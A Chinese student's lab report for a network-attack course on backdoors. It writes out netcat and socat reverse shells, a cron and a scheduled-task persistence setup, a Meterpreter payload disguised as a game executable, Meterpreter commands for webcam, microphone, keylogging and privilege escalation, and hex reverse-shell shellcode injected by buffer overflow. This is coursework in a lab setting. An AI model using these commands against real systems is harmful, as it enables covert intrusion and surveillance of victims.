2019-2020-2 20175330杨璟旭《网络对抗技术》Exp2 后门原理与实践
2019-2020-2 20175330杨璟旭《网络对抗技术》Exp2 后门原理与实践
博客目录
- (1)基础知识
- (2)实践目标
- (2.1)任务一:使用netcat获取主机操作Shell,cron启动
- (2.2)任务二:
使用socat获取主机操作Shell, 任务计划启动 - (2.3)任务三:
使用MSF meterpreter生成可执行文件,通过socat传送到主机运行并获取主机Shell - (2.4)任务四:生成获取目标主机音频、摄像头、击键记录等内容,并进行提权
- (2.5) 任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。
- (3)实验中遇到的问题
- (4)实验收获与感想
- (5)问题回答
一 基础知识
后门概念
后门程序:
一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。
- 后门包括:
- 编译器后门;
- 操作系统后门;
- 应用程序后门;
- 潜伏于操作系统中或伪装为特定应用的专用后门程序;
常用后门工具
Netcat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
:socat是一個netcat(nc)的替代產品,可以稱得上nc++。socat的特點就是在兩個流之間建立一個雙向的 通道。socat的地址類型很 多,有ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,等等。
Socat简介、安装、使用:https://blog.csdn.net/u010285974/article/details/81209594
Meterprete:msfvenom生成的后门可执行文件。Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
Meterpreter介绍:https://blog.csdn.net/qq_41397071/article/details/104127876
二 实践目标
任务一:使用netcat获取主机操作Shell,cron启动
1.1Windows获得Linux Shell
Step1:在Windows的cmd中输入ipconfig
查看win的IP地址
Step2:关闭防火墙,进入ncat的文件夹并输入ncat.exe -l -p 5330
打开windows 监听
Step3:Linux中输入nc 192.168.137.1 5330 -e /bin/sh
反弹连接windows:
Step4:之后就会发现Windows成功获得kali的shell,可运行任何指令,如ls,pwd。
1.2 Linux获得Windows Shell
Step1:在kali中输入ip addr
查看到Linux端的IP地址为192.168.64.133
Step2:在kali控制台输入nc -l -p 5330
在Linux运行监听
Step3:在Windows中的ncat.exe文件目录下输入ncat.exe -e cmd.exe 192.168.137.1 5330
,使Windows反弹连接Linux。
kali成功获得Windows的命令提示输入dir,ipconfig
指令运行结果如图。
1.3使用netcat获取主机操作Shell启动cron
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
Step1:在Linux终端里,输入指令crontab -e
增加一条定时任务。
crontab指令表示增加一条定时任务,-e表示编辑
Step2:在跳出来的选项里选择2进入编辑,
添加45 * * * * /bin/netcat 192.168.137.1 5330 -e /bin/sh
,表示每个小时的第45分钟执行后面的那条指令。
Step3:保存、退出。
下图为第45分钟执行代码后的结果:
linux在45分钟时连接Windows,监听windows获得shell。
1.4使用nc传输数据,文件
1.4.1使用nc传输数据
Step1:cmd中输入ncat.exe -l 5330
监听5330端口
Step2:kali使用nc 192.168.137.1 5330
反弹Windows的5330端口,连接建立成功后双方可以互相发送信息。
1.4.1使用nc传输数据
Step1:Windows中输入ncat.exe -l 5330> mess.out
监听5330端口,并把收到的数据保存到mess.out中
Step2:kali中输入nc 192.168.137.1 5330 < mess.in
反弹连接到Windows的5330端口,建立成功后,Windows可以收到kali发来的文件
任务二 使用socat获取主机操作Shell, 任务计划启动
step1:
下载socat,下载完成后我的电脑
-->管理
-->任务计划程序
-->创建任务
填写任务名新建一个触发器。
step2:在程序或脚本
中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5330 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5330,同时把cmd.exe的stderr重定向到stdout上.
Step3:到达1:45后任务自动运行,同时会弹出一个cmd窗口。
step4:输入指令socat tcp:192.168.137.1:5330
,可以获Windows的shell
任务三: 使用MSF meterpreter生成可执行文件,通过socat传送到主机运行并获取主机Shell
Step1:在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.1 LPORT=5330 -f exe > Counter-Strike20175330.exe
Step2:在Windows下执行ncat.exe -l 5330> 20175330_backdoor.exe
,使被控主机进入接收文件模式,查看当前的连接状态
Step3:在kali中使用nc 192.168.13.128 5330 < Counter-Strike20175330.exe传输后门程序
Step4:MSF打开监听进程:
- 输入msfconsole指令进入msf控制台
- 输入use exploit/multi/handler使用监听模块
- 设置payloadset
windows/meterpreter/reverse_tcp
setLHOST 192.168.137.1
,设置IPset LPORT 5330
,设置端口exploit
开始监听
Kali上获得了Windows主机的shell,测试结果如下图
任务四:生成获取目标主机音频、摄像头、击键记录等内容,并进行提权
4.1获取录音权限
输入record_mic -d 5
指令
4.2获取摄像头权限
输入webcam_snap
指令
4.3获取击键记录
输入keyscan_start
指令记录击键
输入keyscan_dump
指令读取击键记录
4.4获取截屏
输入screenshot
指令截屏
4.5查看用户与提权
输入getuid
指令查看当前用户
输入getsystem
指令进行提权
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
Step1:在老师提供的Shellcode网站中搜索linux/x86 - Reverse
下载反弹连接的shellcode
Step2:使用
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
Step3:将perl生成的字符串存储到文件input_shellcode中
perl -e 'print "A" x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
Step4:使用(cat input_shellcode;cat) | ./pwn2
注入这段攻击buf
Step5:打开另一个终端,输入gdb
调试pwn2。输入ps -ef | grep pwn2
找到pwn1的进程号
Step6:输入attach调试pwn2进程。
输入disassemble foo
查看ret地址
栈顶(esp)的存放地址为0xffffd48a。
计算出shellcode地址是 0xffffd48e。
修改并生成input文件
perl -e 'print "A" x 32;print"\x8e\xd4\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\
x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input
- 输入
msfconsole
打开msf控制台 - 输入
set payloadlinux/x86/shell_reverse_tcp
- 输入
set LHOST 127.0.0.1
,设置IP - 输入
set LPORT 4444
,设置端口 - 输入
show options
,查看选项 - 输入
exploit
,开始监听
在终端输入
(cat input_shellcode;cat) | ./pwn2
运行pwn2文件,在另一个终端看到已经调取了shell
实验中遇到的问题
网络不可达问题
在ping主机时显示网络不可达,通过配置网卡得以解决。
实验收获与感想
这次实验总体还算简单,但是在好多实验步骤上卡了好久,在任务一时电脑反应和其他同学的都不一样,cmd没有显示收到。卡了好久,最后发现是正常现象,实际动手做还是有很多发现和进步,总体还是挺好玩的。
问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
从第三方网站安装不被信任软件
(2)例举你知道的后门如何启动起来(win及linux)的方式?
添加到开机启动项;比如本实验中的任务二
(3)Meterpreter有哪些给你映像深刻的功能?获取计算机的音屏和视频,键位输入等等,感觉和木马非常相似。
(4)如何发现自己有系统有没有被安装后门?
与查杀木马同理
1.使用杀毒软件
2.其次查看自己计算机是否有可疑端口开放
3.查看是否有可疑进程